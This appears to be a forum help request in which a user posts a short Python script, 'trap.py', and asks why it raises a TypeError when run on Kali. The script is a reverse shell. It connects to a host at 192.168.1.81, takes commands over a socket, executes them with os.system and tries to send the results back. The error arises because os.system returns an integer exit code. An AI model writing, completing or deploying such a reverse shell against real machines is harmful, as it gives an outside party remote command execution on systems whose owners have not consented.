import socket, os, sys, subprocess
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
host = '192.168.1.81'
port = int(sys.argv[1])
s.connect((host, port))
done = False
while not done:
print ('Waiting for data....')
data_enc = s.recv(1024)
data = data_enc.decode()
result = os.system(str(data))
s.send(str.encode(result))
here is my code and the error is
Traceback (most recent call last):
File "trap.py", line 17, in <module>
s.send(str.encode(result))
TypeError: descriptor 'encode' requires a 'str' object but received a ' int'
when I checked the value of result variable it was 0
, but on the machine the subprocess results were fine (when I used 'ls' command it showed the files).
I am using python 3 and I tried to run this code on Kali distribution.